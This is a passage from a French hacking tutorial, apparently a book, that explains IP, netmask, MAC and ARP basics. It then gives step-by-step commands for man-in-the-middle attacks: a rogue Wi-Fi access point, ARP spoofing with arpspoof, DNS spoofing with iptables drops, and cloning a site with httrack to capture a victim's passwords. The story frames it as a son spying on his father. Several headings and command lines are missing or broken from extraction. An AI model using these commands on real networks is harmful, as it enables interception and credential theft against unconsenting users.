Le service network-manager sera, dès la deuxième instruction, fonctionnelle.

Dans ce charabia :
α [interface] représente le nom de votre
carte wifi, par exemple, wlo1
α [nom] doit être le même que celui du Wifi
que vous allez usurper
α [mdp] est également semblable au wifi
se nous allons falsifier.

Comprenez bien que sans le mot de passe du


réseau connu au préalable, la connexion des
utilisateurs à votre piège ne sera pas
automatique.
La situation devient alors la même que sur le schéma ci-dessus à droite. Les
paquets passent de l’ordinateur de Philippe à celui de Louis, et ceux de Louis sont
supposés arriver jusqu’au routeur wifi, mais ce n’est pas vraiment ce qui arrive.
Dans la théorie, le plan de Louis est bien rodé, mais dans la pratique, il lui
manque un petit objet : une carte Wifi supplémentaire. Cette dernière fera la
jonction entre l’ordinateur de Louis et le routeur, et ce afin que les paquets de son
père et de son ordinateur arrivent bien à bon port ! Une clef Wifi se trouve très
facilement sur Internet et à des prix allant de 4 € pour de l’entrée de gamme à
plusieurs dizaines. Je ne saurais faire la pub pour un produit ici, mais si vous
voulez en acquérir une, vérifier qu’elle prend en charge le point d’accès et le
mode moniteur, la vitesse de liaison étant, ici, secondaire.
La commande pour se connecter à un réseau wifi depuis le terminal peut être
alors la suivante si vous désirez continuer votre utilisation de nmcli :
Faire la liste des différents réseaux wifi :

$ nmcli dev wifi list ifname [interface]

Il suffira de taper la commande ci-dessous pour se connecter au bon réseau :

$ nmcli dev wifi connect [ssid] password [mdp]

113
IV. Exploitation des couches 2 et 3
Depuis que Philippe est au courant des actions de Louis, il lui a retiré sa carte wifi,
il ne peut donc plus créer de faux point d’accès depuis sa machine.
Malheureusement pour Philippe et forte heureusement pour nous et Louis, il
existe encore un bon nombre de méthodes pour dérober les précieuses
informations du royaume de France.

Revenons un peu sur le résultat de la commande ifconfig concernant la carte wifi


et son utilité pour les couches 2 et 3 :
wlo1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
       inet 192.168.1.100  netmask 255.255.255.0  broadcast 192.168.1.255
       inet6 fe80::e882:228a:bcc6:7240  prefixlen 64  scopeid 0x20<link>
       inet6 fd54:9209:fe1f:5e00:a004:e573:fc11:1fe7  prefixlen 64  scopeid 0x0<global>
       inet6 fd54:9209:fe1f:5e00:d451:eb5d:9858:4b93  prefixlen 64  scopeid 0x0<global>
       ether d0:b5:b7:73:4b:d9  txqueuelen 1000  (Ethernet)
       RX packets 1912271  bytes 2534389586 (2.5 GB)
       RX errors 0  dropped 1  overruns 0  frame 0
       TX packets 1025725  bytes 106679649 (106.6 MB)
       TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Parmi ce flot d’informations s’en cache de très utiles :

α inet : Renvoie à l’adresse IP de la machine, ici 192.168.1.100.


Le but de la couche 3 du modèle OSI est de gérer les adresses IP. C’est grâce à
elles que vous pouvez communiquer sur le réseau. Telle une adresse postale
nécessaire pour recevoir du courrier, l’adresse IP est indispensable pour envoyer
ou recevoir des paquets.
Toute adresse IP se compose de 4 nombres allant de 0 à 255 et étant chacun
séparé par un nombre de l’autre. Pour ce type d’IP, on parle d’adresse IPv4, la
version suivante étant plus longue pour avoir plus d’IP.
α netmask : masque du réseau, ici 255.255.255.0
Chaque réseau a besoin d’un masque. Il n’a rien avoir avec celui à l’effigie de Guy
Fawkes que vous portez quand vous piratez quelqu’un, mais plutôt avec un outil
bien pratique permettant de différencier la partie réseau de la partie machine sur
une adresse IP.
Précisons, à la place de dire qu’une adresse IP est un groupe de quatre nombres,
on préfère dire que c’est un ensemble de quatre octets. Vous n’êtes pas sans
savoir que l’informatique est régie par un langage obscur nommé binaire, et que
celui-ci n’est composé uniquement que de 0 et de 1, du style 1011 0100 1011.

Ainsi, une adresse IP s’écrit en informatique comme la succession de 4 octets, ou


un octet représente un groupe de 8 bits, c’est-à-dire 8 fois 0 ou 1 tous alignés
pour former un nombre. Par exemple, les nombres suivants sont des octets :

114
γ 1111 0000
γ 1010 1001
γ 0001 0011

i Par convention, on sépare les groupes de 4 bits afin de les rendre plus
lisibles. Vous imaginer devoir lire un nombre comme 01010101110101 ?

Tandis que les nombres suivants ne sont pas des octets écrits en binaire :
γ 2300 1020 ⇒ Le nombre n’est pas écrit qu’avec des 0 et des 1
γ 01 1010 ⇒ Il manque des bits pour former un octet valide
γ 1001 0100 0101 ⇒ À l’inverse, il y a trop de bits pour un octet.

Pour transformer un nombre « normal » en binaire


– on parle de passage d’un nombre en base 10 en
base 2 – il faut effectuer une suite de division
euclidienne par 2 assez maligne qui, avec le reste
de chaque division, donnera le nombre binaire
(exemple parfait à droite avec le nombre 77).

Le nombre obtenu en binaire 100 1101 n’est pas


un octet, qu’à cela ne tienne, rajoutons un 0 en
premier pour qu’il soit bien constitué de 8 bits.
Cette action doit être réalisée pour n’importe quel
nombre ne faisant pas 8 bits.
Ainsi, 3 qui, mis en binaire, donne 11, devra être écrit 0000 0011 pour être valide.

Donc, mon adresse IP écrite sur 4 octets, est 192.168.1.100 dans sa forme
décimale, et est 1100 0000.1010 1000.0000 0001.0110 0100 en binaire. J’ai
laissé les points pour que vous puissiez voir les séparations entre les octets, mais
lors d’une communication réelle, ceux-ci n’apparaissent pas.
Faisons de même avec le masque : 1111 1111.1111 1111.1111 1111.0000 0000.
Vous remarquerez un phénomène très intéressant, les 1 et les 0 sont séparés. Ce
n’est pas un hasard, c’est le fonctionnement même du masque qui veut ça, les 1
désignant la partie réseau et les 0, la partie machine. Ainsi, vous ne pourrez
jamais voir un 0 au milieu des 1, ou l’inverse, c’est impossible, les deux doivent
être séparés, ce qui fait que les deux masques suivant sont valides :
γ 1111 1111.0000 0000.0000 0000.0000 0000
γ 1111 1111.1111 1000.0000 0000.0000 0000
Et ceux-là sont invalides :
γ 1111 1111.0000 0000.0000 1110.0000 0010
γ 0000 0000.1111 1111.1110 0000.1100 1110
Ainsi, en mettant mon masque et mon adresse IP côte à côte, je peux savoir quel
est la partie machine et la partie réseau :

115
1100 0000.1010 1000.0000 0001.0110 0100
1111 1111.1111 1111.1111 1111.0000 0000
Partie réseau Partie machine
On peut recommencer avec une autre IP et un autre masque si vous voulez. Soit
la machine ayant pour adresse 10.10.10.9 et pour masque 255.252.0.0, leur
représentation en binaire donne donc ceci :
0000 1010.0000 1010.0000 1010.0000 1001
1111 1111.1111 1100.0000 0000.0000 0000
Partie réseau Partie machine

En retrouvant qui est qui entre le réseau et la machine sur une adresse IP, on peut
retrouver les bits communs de n’importe quel réseau, ce qui aura son importance
lorsque nous étudierons l’analyse de réseau avec Nmap, je ne vous enquiquine
pas avec pour l’instant ;)

α broadcast : adresse de diffusion sur le réseau.

« Broadcast » vient de l’anglais, et traduit en français, donne « diffusion ». Cette


adresse IP correspond à l’adresse commune du réseau, si vous lui envoyez des
paquets, tout le monde les recevra sur ce réseau. Bien souvent, les autres
machines ne vous répondront pas et ignoreront purement et simplement votre
requête en voyant qu’elle vise l’adresse de diffusion.

α ether : adresse MAC, c’est l’adresse physique de votre carte internet, enfin,
de celle qui est concernée.

Une adresse MAC est un ensemble de 6 octets, pourtant vous en voyez que 6
groupes de chiffres et de lettres séparés par le symbole « : ». Eh bien, croyez-le
ou non, ces chiffres et ces lettres sont la transcription d’un octet binaire dans une
nouvelle base : la base 16. On parle alors d’hexadécimal !

Vous avez remarqué que l’on nomme une base en fonction du nombre de chiffres
qu’il y existe. Par exemple :

◦ base 10 : 0 1 2 3 4 5 6 7 8 9 (10 chiffres)


◦ base 2  : 0 1 (2 chiffres)
◦ base 16 : 0 1 2 3 4 5 6 7 8 9 a b c d e f (16 chiffres)

En hexadécimal, il est donc possible de compter avec 16 chiffres de cette


manière : 0 – 1 – 2 – 3 – 4 – 5 – 6 – 7 – 8 – 9 – a – b – c – d – e – f – 10 – 11 – 12 – …

La méthode pour traduire un nombre décimal en hexadécimal est exactement la


même que pour le binaire : une suite de division euclidienne. Sauf qu’ici, le
dividende est 16, et le reste doit être traduit en hexadécimal.

116
! N’oubliez pas de renverser le résultat à la fin de vos calculs pour tomber sur
le bon nombre. Une erreur est si vite arrivée dans ce genre de cas.

Comme vous pouvez le voir sur l’exemple, le nombre 430 donne 1ae en
hexadécimal, ce qui en fait un nombre trop grand pour une adresse MAC. Vous
aurez en effet remarqué que chaque octet d’une de ces adresses n’est composé
que de deux caractères. On en déduit donc aisément que 00 est le minimum et ff
est le maximum, et, puisque 255 correspond à un octet où tous les bits sont à 1,
on en déduit par la même occasion que ff = 255 = 1111 1111.

Mais pourquoi est-ce que je vous détalle le résultat de la commande ifconfig ? Eh


bien, cela vous a permis d’en apprendre plus sur le réseau, et notamment sur la
constitution de deux de ses couches : la 2 et la 3. Vous savez comment
fonctionnent les adresses IP et MAC, que l’une correspond à l’adresse réseau et
l’autre, à celle de la carte que vous utilisez. Mais comment le réseau arrive-t-il à
faire la jonction entre la carte et son adresse IP

Ce qu’il y a d’intéressant lorsque vous communiquez su Internet, c’est le nombre


de protocoles de communication que vous utilisez sans le savoir. Celui qui nous
intéresse ici est ARP, pour Address Resolution Protocol.

Vous ne savez pas à quelle IP correspond quelle adresse MAC ? Pas de problème,
ARP est là pour ça, il suffit de demander à toutes les machines avec l’adresse de
diffusion si elles se sentent concernées par notre requête. Une fois qu’on a notre
réponse, on l’inscrit dans notre liste où des équivalences IP – MAC sont déjà
écrites, la table ARP. Sur Linux, on peut la consulter avec la commande :

$ arp -a
_gateway (192.168.1.254) at a0:2b:70:6d:b9:4c [ether] on wlo1
RedmiNote10 (192.168.1.42) at 5a:90:29:6a:73:73 [ether] on wlo1

117
Ici, ce n’est qu’un exemple de résultat avec ma table ARP. Vous pouvez voir qu’il
n’y a pas beaucoup d’appareils sur mon réseau…
La table ARP peut nous donner beaucoup d’informations sur un réseau, par
exemple, je sais que l’adresse de sortie du réseau, celle avec laquelle je dois faire
passer mes paquets afin de communiquer avec le reste du monde, est marquée
comme _gateway et porte l’adresse 192.168.1.254.
Chaque appareil aura son petit nom d’inscrit dans la première colonne, son
adresse IP entre parenthèses, l’adresse MAC associée à cette IP et la carte de
notre machine qui l’a inscrite dans la table ARP.

Toujours est-il que le réseau du palais royal n’est pas une exception à la règle de
bonne tenue du réseau. Sa configuration est la suivante :

Maintenant que Louis n’a plus accès à sa deuxième carte réseau, il ne peut plus
dérober les informations de son père à l’aide d’un point d’accès. Heureusement,
une faiblesse du protocole ARP peut lui permettre de continuer ses petites
expériences.
An effet, si ARP permet la jonction entre les couches 2 et 3, rien n’oblige les
usagers du réseau à répondre correctement aux requêtes. Que se passerait-il si,
par une erreur vraiment inconvenante et tout à fait due au hasard, la mauvaise
adresse IP était associée à une autre adresse MAC.
Bienvenue dans le monde des attaques de l’homme du milieu (MITM) !

118
Louis s’apprête à faire une attaque nommée ARP spoof (ou ARP cache-poisoning
pour les puristes) : il va remplacer certaines informations dans les tables ARP des
utilisateurs du réseau pour faire passer les paquets par sa machine et ainsi
dérober des informations.

Dans un premier temps, il va vous falloir transformer notre machine en routeur, et


ce pour faire passer l’ensemble des paquets interceptés par notre ordinateur. Il
suffit pour cela de modifier un petit fichier en remplaçant la valeur inscrite par 1 :

# echo 1 > /proc/sys/net/ipv4/ip_forward

On va se servir des commandes du paquet dsniff, il n’est pas forcément


préinstallé avec votre version, alors vous savez ce qu’il vous reste à faire :

# apt install dsniff

La commande qui suit est très simple à utiliser :

# arpspoof -i [carte] -t [cible] [cible]

Dans le cas de Louis, il doit faire croire à l’ordinateur de son père qu’il est le
routeur, et au routeur, qu’il est l’ordinateur de son père. Il va donc commencer
par viser l’un des deux circuits, au hasard, l’axe Philippe-Routeur dans ce sens :

# arpspoof -i wlo1 -t 10.10.10.3 10.10.10.1

Puis l’axe Routeur-Philippe pour que ce dernier puisse recevoir les réponses de ses
envois successifs :

# arpspoof -i wlo1 -t 10.10.10.1 10.10.10.3

Et voilà ! Les paquets de Philippe passent bien par l’ordinateur de Louis, mais
comment les observer ?

Depuis tout à l’heure, je vous parle de dérober des informations, mais je ne vous
ai toujours pas montré comment faire. Nous allons utiliser un logiciel d’analyse de
réseau nommé wireshark. Il existe deux versions de ce logiciel mises à
disposition, celle par ligne de commande et celle par interface graphique ; nous
prendrons celle avec l’interface graphique puisqu’elle se trouve être la plus
complète des deux. Pour installer Wireshark :

# apt install wireshark-qt

119
Ouvrons ensuite le logiciel depuis le terminal, ce dernier ayant besoin des
permissions du super-utilisateur pour fonctionner :

# wireshark

Sélectionnez la carte réseau sur laquelle vous avez rentré les instructions de
dsniff, c’est par celle-ci que les paquets passeront, ou alors sélectionnez any si
vous ne savez pas trop quoi choisir, toutes les cartes seront ainsi passées au
crible fin.

120
Vous tombez alors en face de cette fenêtre aux informations s’affichant au fur et à
mesure. La zone présente tout en haut est celle où arrivent successivement les
paquets passant par votre carte réseau. Ils peuvent avoir n’importe quelle origine,
votre appareil, un serveur qui vous envoie des données en réponse, ou alors les
informations de votre victime…

Si vous en sélectionnez un dans la liste qui se présente à vous, les deuxièmes et


troisièmes parties de l’écran s’actualiseront : elles affichent à présent les
informations liées à ce paquet précisément. Par exemple, la zone numéro vous
affichera toutes les données déchiffrées du paquet :

Cliquez sur un des menus déroulants, et de plus amples informations s’afficheront


sur la couche concernée. En effet, Wireshark fait l’effort de vous présenter de la
manière la plus pratique les informations, organisées par couche, bien qu’elles ne
soient pas toutes présentes.

La dernière partie du cadre vous donne un aperçu des données brutes :

Ce dernier présentoir n’est pas des plus utiles puisque nous ne nous servirons
pratiquement jamais du format brut.

Le dernier élément les plus utiles sont dans la barre d’actions en haut de l’écran :

Cette dernière contient de quoi lancer, arrêter ou reprendre la capture. Des


commandes de navigation parmi les paquets ou de visibilité y sont également
disponible, mais ce qui la rend intéressante, c’est sa barre de recherche qui nous
permettra de filtrer les données en fonction de critères bien particuliers.

121
Ici, pour vérifier que notre attaque fonctionne bien, nous allons effectuer un test
de connexion sur l’ordinateur de Philippe lorsqu’il aura le dos tourné. Pour ce
faire, nous utiliserons la commande ping. Celle-ci envoie un paquet demandant à
la machine si elle est belle et bien connectée à un réseau et joignable par apport
à nous en utilisant le protocole ICMP.

ICMP (pour Internet Control Message Protocol) est un protocole très simple dont la
seule utilité se cantonne à son utilisation avec ping. La commande suit cette
syntaxe :

$ ping [adresse]

Ainsi, la vérification depuis l’ordinateur de Philippe peut très bien s’effectuer en


interrogeant le serveur sur son existence :

$ ping 10.10.10.4

Il suffira à Louis de n’afficher que les requêtes portant le protocole ICMP pour que
le logiciel lui affiche les paquets envoyés par l’ordinateur de Philippe :

L’étape de la vérification n’est pas obligatoire lors d’une véritable attaque, car je
doute que vous ayez un accès physique à la machine que vous désirez espionner.
Ici, elle nous sert d’exemple pour, et voir l’utilité du protocole ICMP, et voir que
bien organisé son travail est une chose importante pour essayer de faire des

122
captures d’écran crédibles avec les bonnes informations, plutôt que celle que je
vous refile, faites un peu à l’arrache sur différentes versions de Linux (c’est la
troisième fois que je réécris cette partie).

Je peux comprendre qu’observer les requêtes ICMP envoyées entre deux appareils
ne vous intéresse pas vraiment (qui en serait épris)… Mais une attaque ARPspoof
peut révéler toutes sa puissance dans les informations récupérées par Wireshark.
SI l’utilisateur se rend sur un site avec le protocole http, et envoie un formulaire
pour rentrer son mot de passe par exemple, celui-ci apparaîtra en clair sur
Wireshark :

Ici, n’importe quelle information rentrée par Philippe sur son site non protégé sera
visible par Louis, car ce dernier intercepte les communications, comme sur le
schéma ci-dessous :

La réponse donnée par le serveur (une page HTML ici, plus d’informations sur le
fonctionnement du Web dans la partie qui lui est consacrée) passe de l’ordinateur
de Louis, à celui de Philippe, et ce de manière totalement inaperçue. Enfin, par un
jeu de circonstance incroyable, et surtout, car ça arrange notre scénario, partons
du principe que Philippe a, une fois n’est pas coutume, découvert les sombres
agissements de son fils. De nouvelles structures de sécurités ont été ajoutées par
Philippe, et cela va bien nous corser le travail.

123
Le père de Louis va dès à présent utiliser
l’extension HTTPS everywhere, lui
permettant de chiffrer ses connexions
entre son serveur et son navigateur. Vous
avez déjà utilisé HTTPS dans votre vie de
tous les jours, en navigant sur internet ;
vous savez, c’est ce petit mot, comme son
cousin http, qu’il faut taper au début de
chaque URL, votre navigateur symbolise
sa présence par un cadenas présent à
gauche de la barre d’adresse.

Concrètement, comment fonctionne ce genre de technologies, permettant de


chiffrer la communication entre Philippe et son serveur ?

Eh bien, dans un premier temps, les deux machines vont fabriquer deux clefs de
chiffrement, une publique qui sera distribuée à tous sur le réseau, et une privée
qu’ils garderont bien pour eu-même. Il va donc y avoir échange entre les clefs
publiques des deux machines, mais pas entre les clefs privées ; situation pouvant
être représentée par ce schéma :

À l’aide de ces clefs, la communication va pouvoir être chiffrée, je m’explique : la


clef publique du serveur va être utilisée par Philippe pour chiffrer son message,
puis il enverra ce dernier au serveur, qui pourra le déchiffrer en usant de sa clef
privée. L’inverse est tout aussi juste, c’est-à-dire que le serveur devra utiliser la
clef publique de Philippe pour que celui-ci puisse déchiffrer ce message avec sa
clef privée. Ce principe de fonctionnement avec plusieurs paires de clefs est
appelé chiffrement asymétrique.
Malheureusement, c’est une opération qui s’avère assez coûteuse en énergie du
fait de la génération des clefs, mais aussi des méthodes servant à chiffrer et

124
déchiffrer avec les clefs. Imaginez seulement un instant qu’il nous faille générer
une paire de clefs, les échanger, et enfin chiffrer puis déchiffrer nos messages
pour chaque communication sur le réseau : ce serait infernalement long !

Ainsi, les informaticiens de l’époque ont jugé bon de n’utiliser cette méthode qu’à
chaque début de communication pour chiffrer et déchiffrer une clef symétrique
qui, elle, servira tout au long de l’échange. Le processus prend donc cette forme
si Philippe était celui qui initierait la connexion :

La clef symétrique servira, quant à elle, à chiffrer les échanges standards entre
les deux machines. Je ne détaillerai pas ici les protocoles et algorithmes utilisés
pour chiffrer et déchiffrer les données ; une partie y est consacrée, et elle se
trouve beaucoup plus basse, dans les chapitres sur la cryptographie…
Dès à présent, lorsque Louis, désireux de voler les données de son père,
recommencera son attaque arpspoof, la seule chose qu’il pourra voir seront des
données chiffrées. Heureusement pour nous, il existe un moyen de passer au
travers des mailles du filet pour continuer nos petites affaires.

On a pendant longtemps utilisé un problème de fiabilité lié à HTTPS. En effet,


lorsque une clef publique est générée, elle a beau n’être propre qu’à une seule et
unique communication, n’importe qui peut y avoir accès. Ce que je veux dire,
c’est que nous pouvons très bien intercepter le début de communication avec
l’échange de clef, afin d’imposer la nôtre à la place de celle de la victime, et ainsi
brouiller sa communication. L’idée est ensuite de faire la même chose de l’autre
côté, en ce comportant en parfait serveur restituant les données au client :

125
Cette attaque n’a rien de plus par rapport à un simple arpspoof, le trafic redirigé
étant ensuite analysé par l’attaquant en utilisant un logiciel comme SSLstrip.
Chiffré le trafic de droite n’était même pas une étape obligatoire, et servait
uniquement à rendre l’attaque plus réaliste aux yeux de la victime. Cependant,
les technologies ont bien évolué depuis l’époque de HTTPS everywhere, et avec
ces changements, l’apparition de nouveaux protocoles sécurisant encore plus la
connexion entre deux machines.

Aujourd’hui, HSTS empêche la réussite d’une grande partie des attaques MITM en
forçant la redirection vers HTTPS et en bloquant la connexion si ce n’est pas
possible. De plus, l’ajout des certificats pour identifier correctement les serveurs
font qu’il n’est plus possible, avec les moyens actuels, de falsifier le service d’un
autre site dont la connexion est chiffrée.

Mais est-ce que toutes ces barrières vont vraiment nous empêcher d’arriver à nos
fins ? Eh bien, presque… Mais pas encore totalement ! Il existe une dernière
grande attaque du type MITM que je me dois de vous présenter, et qui va nous
faciliter la vie vis-à-vis des nouvelles restrictions sur le Web. Vous vous souvenez
quand, plus haut, je vous expliquais que vous agissiez tel un serveur lors d’un
arpspoof ou d’une utilisation de sslstrip ; cette fois-ci, nous allons devenir le
serveur !

Je vous explique : inutile de rediriger les requêtes de notre utilisateur, car cela
nous est aujourd’hui impossible. Ce qui nous intéresse vraiment dans cette
histoire, c’est la récupération des données, alors pourquoi s’embêter quand une
bête vitrine où l’utilisateur rentre ces mots de passe est plus efficace ? Il va donc
falloir rediriger le trafic lié aux services du web qui nous intéresse, à notre
machine, et pour ce faire, on va utiliser l’attaque nommée dnsspoof.

L’attaque se base sur le protocole DNS (pour Domain Name System). C’est lui qui
concrètement, vous sauve la vie sur Internet tous les jours en vous offrant la
possibilité de taper www.wikipedia.com à la place de 91.198.174.194 dans la
barre d’adresse URL de votre navigateur lorsque vous souhaitez vous renseigner
sur les différents types d’exploitations agricoles prévus pour les cultivateurs de
concombres gais au Brésil sur Wikipédia !

Pour faire notre attaque dnsspoof, nous allons utiliser la commande du même
nom présente au sein du paquet dsniff que vous avez déjà installé tout à l’heure :

# dnsspoof -i [carte] -f [fichier]

Ici, [carte] renvoie à l’interface réseau utilisé pour l’attaque, et [fichier], à ce


qu’on appelle un fichier de résolution :

10.10.10.3 www.gmail.com
10.10.10.3 www.diwa.com

126
C’est ce fichier qui va faire la liaison entre une adresse IP et un nom de domaine,
ces redirections n’étant valides que durant l’attaque bien sûr :)
Louis a donc créé son propre fichier de résolution, au sein duquel il décide de
rediriger toutes connexions allant vers www.gmail.com et www.diwa.com sur
l’adresse IP 10.10.10.3. Cela veut dire que TOUTE requête étant interceptée par
Louis, à destination de ces deux domaines, peu importe sa nature (site, ssh, mail),
seront redirigées vers l’adresse de Louis (10.10.10.3, rappelez-vous).

Qu’est-ce que l’« interface » présente dans la commande ? L’interface est le nom


de votre carte réseau. Rappelez-vous, vous pouvez la retrouver en utilisant la
commande ifconfig.

Cependant, des problèmes viennent lors de l’exécution… En effet, si vous


avez essayé de reproduire la même chose, il se peut que l’attaque n’est pas
fonctionné. Un rapide coup d’œil sur Wireshark vous aura permis d’identifier que
les requêtes DNS provenant du véritable serveur DNS auquel sont rattachés les
machines visées sont parvenus plus vite que les vôtres jusqu’à la machine de la
victime.

Pour remédier à ce problème, rappelez-vous qu’en plus de la commande


dnsspoof, il y a également arpspoof qui tourne sur votre machine. Ceci étant, tous
les paquets de la victime sont supposés passer par votre ordinateur (sinon il y a
une erreur quelque part). On va donc utiliser le pare-feu pour dire aux vrais
paquets provenant du serveur DNS qu’ils ne sont bons qu’à être jetés.

On va utiliser, pour ce faire, le programme iptables, dont je vous


recommande de lire le manuel avant toutes utilisations (le cours d’openclassroom
est également très détaillé à ce sujet :
https://openclassrooms.com/fr/courses/43538-reprenez-le-controle-a-laide-de-
linux/42264-analyser-le-reseau-et-filtrer-le-trafic-avec-un-pare-feu#/id/r-42263)
Nous avons donc deux possibilités :

α Rediriger tous les paquets en provenance du port 53 à la poubelle


α Redirigé uniquement les paquets contenant l’adresse IP du serveur web que
la victime veut consulter

La première technique est très rapide à mettre en place et très efficace,


mais est également très dangereuse. En effet, TOUTES les autres requêtes DNS
seront bloquées et la victime n’aura comme réponse que les adresses que nous
lui donnerons. Nous partirons donc sur la deuxième qui est beaucoup plus longue
et fastidieuse et qui possède un gros désavantage lorsque l’on veut fausser de

127
gros services comme Google ou Amazon : Il va falloir rentrer chaque IP du plus de
serveurs web possible de la marque pour couvrir tout le service.

Ajoutons donc la règle suivante à notre table :

# iptables --append FORWARD --match string --algo kmp --hex-string '|


e1 e0 68 2d|' --jump DROP

La partie ‘|e1 e0 68 2d|’ est l’adresse IP du serveur web en hexadécimale, il va


donc falloir la retrouver et la convertir…

Comprendre par l’exemple

Pour finir, un petit exemple pour permettre de comprendre. Nous allons tenter
d’espionner les connections d’une machine allant vers, à tout hasard,
www.diwa.com.

Mon réseau :
α Mon ordinateur → 192.168.1.18
α Mon téléphone → 192.168.1.94
α Passerelle réseau → 192.168.1.254

On va commencer par chercher les IP de www.diwa.com :

$ host www.diwa.com
www.diwa.com is an alias for diwa.com.
diwa.com has address 80.74.144.93
diwa.com mail is handled by 10 mail.diwa.com.

Il n’y en a qu’une, ce qui va faciliter la tâche, et elle se trouve être 80.74.144.93.

On va la bloquer sur le pare-feu :

# sudo iptables --append FORWARD --match string --algo kmp --hex-


string '|50 4a 90 5d|' --jump DROP

On va tenter de rediriger la victime sur notre propre serveur web et devons donc
installer le fameux service. Ici, ce sera apache2 :

# apt install apache2

128
Les sites sont stockés dans le répertoire /var/www/html sur apache2, il existe un
exemple déjà préparé qui fut créé lorsque le programme fut installé, il va falloir le
supprimer :

# rm -Rf /var/www/html

Puis nous allons enfin cloner le site sur notre serveur avec le paquet httrack. Il
nous faut l’installer :

# apt install httrack

Puis taper :

# httrack https://www.diwa.com -O /var/www/html

Le premier paramètre à donner à httrack est l’URL du site à cloner, le second est -
O pour spécifier le répertoire où sera la copie (ici : /var/www/html).
Il faut maintenant allumer apache2 :

# service apache2 start

Tout est en ordre pour commencer ! On va donc usurper l’ARP de la victime :

# arpspoof -t 192.168.1.94 192.168.1.254

# arpspoof -t 192.168.1.254 192.168.1.94

Puis préparer le fichier DNS hosts.txt :

192.168.1.18 diwa.com
192.168.1.18 www.diwa.com

Et enfin en redirigeant les requêtes DNS :

# dnsspoof -i wlo1 -f hosts.txt

Et ça fonctionne ! Un problème subsiste cependant, les machines utilisant Ipv6 à


la place de Ipv4 ne peuvent pas être touchées par l’attaque à l’heure où j’écris
ces lignes.

129
III. Automatisation et attaques profondes

Maintenant que nous avons vu le processus manuel de ces deux attaques, laissez-
moi vous présenter un petit logiciel qui vous permettra « d’automatiser » vos
attaques en les rendant beaucoup moins fastidieuses, j’ai nommé Xerosploit.
Vous pouvez le télécharger depuis ce lien : https://github.com/LionSec/xerosploit.
Un autre outil sympa pour automatiser ce genre de tâche este Ettercap, il
fonctionne généralement très bien. Vous pouvez le télécharger depuis les
sources :

# apt install ettercap

Avec Xerosploit, vous aurez la possibilité d’aller plus loin dans vos attaques. Ce
logiciel offre la possibilité d’injecter du Javascript ou de l’HTML à l’intérieur des
requêtes Web, ce qui peut être pratique pour des attaques XSS ou CSRF (référez-
vous au chapitre sur ce sujet pour plus de détail.

V. Exploitation d’une application : le DNS

III. Matériel pour accéder au réseau


Afin de pouvoir vous connecter sur un réseau, vous avez besoin de matériel, sans
quoi vous ne pourrez rien faire. Si votre ordinateur ne possède pas de carte
réseau (ce qui m’étonnerait), foncez en acheter une, de préférence une
supportant le mode moniteur et le point d’accès mobile (AP).
Installez ensuite le paquet suivant :

Et tapez la commande ci-dessous :

Elle devrait vous renvoyer

130
α
Le reste des informations est peu utile.

IV. Commande de base du réseau


Pour ping une machine, pratique pour savoir si on peut la joindre :

Ce qui peut donner :

$ ping google.com

Pour connaître l’adresse IP d’un nom de domaine :

$ host [domaine]

Pour en apprendre plus sur le propriétaire d’un nom de domaine :

$ whois [domaine]

Pour avoir le parcours que va effectuer un paquet avant d’arriver à destination :

$ traceroute [addresse]

Pour obtenir la table ARP de la machine :

Pour obtenir de plus amples informations sur le matériel de la machine :

$ lspci

Pour avoir du contenu sur la carte Bluetooth :

$ hciconfig

Un superbe client Bluetooth :

$ bluetoothctl
(

Télécharger des données depuis un site :

$ wget [URL]

131
$ curl [URL] > [fichier]

Pour se connecter à un serveur FTP :

$ ftp [adresse]

132
Processus et Services
Dans le dernier module, je vous ai parlé de services tournant sur votre machine et
étant accessible depuis Internet. Je vous propose donc de voir plus en détail ce
qu’ils sont, et ce que sont les processus, l’ensemble auquel appartiennent les
services.
Ce chapitre vous sera bien utile. Il vous permettra d’attaquer en rendant vos
analyses plus efficaces et vos exploitations moins détectables, mais également de
vous défendre en vous donnant une foule d’informations sur votre machine.

I. Étudier les processus


Un processus n’est ni plus ni moins qu’un programme en cours d’exécution, peu
importe la nature du script qui vient d’être lancé. Quand vous listez les différents
fichiers et dossiers disponibles dans le répertoire courant avec ls, vous créez un
processus.
Sur Linux, il existe énormément de manière d’obtenir la liste des processus
fonctionnant au même moment sur votre ordinateur. Car oui, votre ordinateur, en
ce moment même, fait tourner des processus. Votre système d’exploitation, pour
vous fournir une interface graphique, votre lecteur de PDF ou votre navigateur
Web pour me lire, toutes ces applications sont des processus. Tant que vous ne
décidez pas de fermer la fenêtre pour les uns, ou d’éteindre votre machine pour
les autres, ils continueront de tourner, du moins, sauf s’ils reçoivent un signal leur
ordonnant l’inverse.
Les signaux sont des directives envoyées aux programmes pour qu’ils puissent les
interpréter et réagir en fonction. Il en existe tout un tas, et en voici quelques-uns :
α SIGTERM : Interruption système que le programme peut percevoir
α SIGINT : Interruption venant de l’utilisateur seul, le programme l’utilise
α SIGKILL : Interruption nette, peu importe sa nature
La différence entre ces signaux ? Eh bien là où un SIGTERM ou un SIGINT
demanderont gentiment au processus de s’arrêter…

… un SIGKILL mettra directement et sans somation fin à ses jours !

133
En dehors de l’humour que peut susciter cette petite image, évitez d’utiliser les
signaux comme SIGKILL. Ils ne permettent pas au programme de se terminer
correctement et le force

→ Lister les processus


→ Les signaux
II.

Pour voir la liste des processus en fonctionnement, il faut utiliser la commande :

$ top

Ce qui donne comme résultat chez moi :


Tasks: 265 total,   1 running, 264 sleeping,   0 stopped,   0 zombie
%Cpu(s):  5,7 us, 11,4 sy,  0,0 ni, 82,9 id,  0,0 wa,  0,0 hi,  0,0 si,  0,0 st
MiB Mem :   3452,1 total,   1856,6 free,    898,5 used,    697,0 buff/cache
MiB Swap:   2048,0 total,    164,5 free,   1883,4 used.   2123,3 avail Mem  

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND

 89197 jacky     20   0   13092   4156   3460 R  11,8   0,1   0:00.03 top
   481 root     -51   0       0      0      0 S   5,9   0,0  14:21.79 irq/130-
 75296 jacky     20   0 2809368 195604  78888 S   5,9   5,5  11:21.50 plasmashell
 76877 jacky     20   0   16,6g 100592  30324 S   5,9   2,8  11:14.65 brave
     1 root      20   0  166072   3416   2788 S   0,0   0,1   1:01.96 systemd

Cette commande un peu illisible vous renvoie d’abord un petit pavé dans
lequel sont présentes les informations sur le nombre de tâches total, la puissance
du CPU allouée ou encore la mémoire RAM utilisée. Elle sort ensuite un long
tableau comprenant les indications suivantes :
